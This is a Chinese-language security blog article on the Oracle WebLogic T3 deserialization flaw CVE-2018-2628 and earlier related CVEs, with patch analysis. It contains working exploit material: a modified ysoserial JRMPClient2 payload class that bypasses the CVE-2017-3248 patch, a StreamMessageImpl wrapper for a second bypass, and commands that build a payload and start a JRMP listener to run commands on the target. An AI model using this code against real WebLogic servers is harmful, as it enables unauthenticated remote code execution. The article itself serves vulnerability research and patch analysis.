您的位置 首页 java

WebLogic反序列化漏洞(CVE-2018-2628)漫谈

漏洞简介

2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 序列化 漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击,并可获取目标系统所有权限。

漏洞影响

Weblogic 反序列化漏洞历程

这里简单的说下几个有公开利用方式的Weblogic反序列化漏洞。

CVE-2015-4852

2015年11月6日,FoxGlove Security 安全团队的 @breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和 Apache Commons Collections 这一基础类库来攻击最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 这些大名鼎鼎的Java应用,实现远程代码执行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 库来实现远程代码执行。查看了CVE-2015-4852的补丁(p21984589_1036_Generic),发现 Weblogic 采用的黑名单的形式来修复这个漏洞。

但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击。而后的漏洞也证明了这一点。

CVE-2016-0638

Weblogic的反序列化的点有着三个,黑名单 ClassFilter.class 也作用于这三个位置。

  • weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream

  • weblogic.rjvm.MsgAbbrevInputStream.class

  • weblogic.iiop.Utils.class

有人发现利用 weblogic.jms.common.StreamMessageImpl readExternal() 也是可以进行反序列化操作的,而且这个不受黑名单限制,所以可以绕过了之前的补丁。

CVE-2016-3510

原理是将反序列化的对象封装进了 weblogic.corba.utils.MarshalledObject ,然后再对 MarshalledObject 进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject 对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。

CVE-2017-3248

Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。

这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister ,这将会序列化一个 RemoteObjectInvocationHandler ,该 RemoteObjectInvocationHandler 使用 UnicastRef 建立到远端的 TCP 连接获取 RMI registry 。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。

CVE-2018-2628 漏洞分析

首先我们来看以下 CVE-2017-3248 这个漏洞的补丁(p24667634_1036_Generic),在 weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class 多了一个 resolveProxyClass ,这个 resolveProxyClass 只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为 java.rmi.registry.Registry ,是的话抛出错误。

仿照 JRMPClient 写一个 JRMPClient2 ,重新编译。

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
 public Activator getObject ( final String command ) throws Exception {
 String host;
 int port;
 int sep = command.indexOf(':');
 if ( sep < 0 ) {
 port = new Random().nextInt(65535);
 host = command;
 }
 else {
 host = command.substring(0, sep);
 port = Integer.valueOf(command.substring(sep + 1));
 }
 ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port);
 UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
 RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
 Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
 Activator.class
 }, obj);
 return proxy;
 }
 public static void main ( final String[] args ) throws Exception {
 Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
 PayloadRunner.run(JRMPClient2.class, args);
 }} 

生成 payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2 

可以对比以下 JRMPClient JRMPClient2 生成的 payload。

除了 RMI 接口不一样,其他都是一样的。

JRMPLister 开启

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe" 

我测试的 Weblogic 版本是 10.3.6.0.170117 ,即已修复了CVE-2017-3248漏洞,在我本地的环境中, CommonsCollections 这个 payload 已经失效了。Weblogic 的 commons-collections.jar 版本已经升级,所以我这里 payload 用的是 Jdk7u21 (这个 payload 只有在 JRE 版本小于等于 1.7u21 才起作用)。在 commons-collections.jar 版本没有升级的 Weblogic 中,使用 CommonsCollections 这个 payload 是可以的。

使用 t3 协议脚本发送 p_client2,可以看到 JRMPLister 有请求过来了,客户端命令也执行成功了。

作为对比,将 JRMPClient 生成的 p_client 也发送过去,可以看到报错信息 Unauthorized proxy deserialization ,正是黑名单拦截抛出的错误。

可见 java.rmi.activation.Activator 是绕过了CVE-2017-3248的补丁了。

另外一种绕过补丁的方式

这种方式是我在复现漏洞时尝试 payload 的时候发现的,绕过的方式和CVE-2016-0638有关。

StreamMessageImpl 这个点在反序列化的时候没有 resolveProxyClass 检查。所以可以使用 StreamMessageImpl RemoteObjectInvocationHandler 序列化,以此来绕过 resolveProxyClass 函数。相当于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 来绕过补丁。

JRMPClient 生成的 payloadObject 用 StreamMessageImpl 封装生成新的 payload——p_stream。

 publicstatic Object streamMessageImpl(byte[] object)throws Exception {
 StreamMessageImpl streamMessage = new StreamMessageImpl();
 streamMessage.setDataBuffer(object, object.length);
 return streamMessage;
 } 

使用脚本发送,可以看到,成功执行了命令。

CVE-2018-2628补丁分析

初步比对补丁(p27395085_1036_Generic),发现 WeblogicFilterConfig.class 的黑名单多了一个 sun .rmi.server.UnicastRef

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy. runtime .ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"}; 

但是根据我的实际测试,命令还是可以执行成功,貌似补丁没起作用。

总结

总的来说,Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过……最精彩的永远是下一个!

参考链接

  • Ysoserial

  • CVE-2018-2628 简单复现与分析

  • WebLogic反序列化漏洞重现江湖,CVE-2017-3248成功绕过之前的官方修复

  • Oracle Critical Patch Update Advisory – April 2018

文章来源:智云一二三科技

文章标题:WebLogic反序列化漏洞(CVE-2018-2628)漫谈

文章地址:https://www.zhihuclub.com/196202.shtml

关于作者: 智云科技

热门文章

网站地图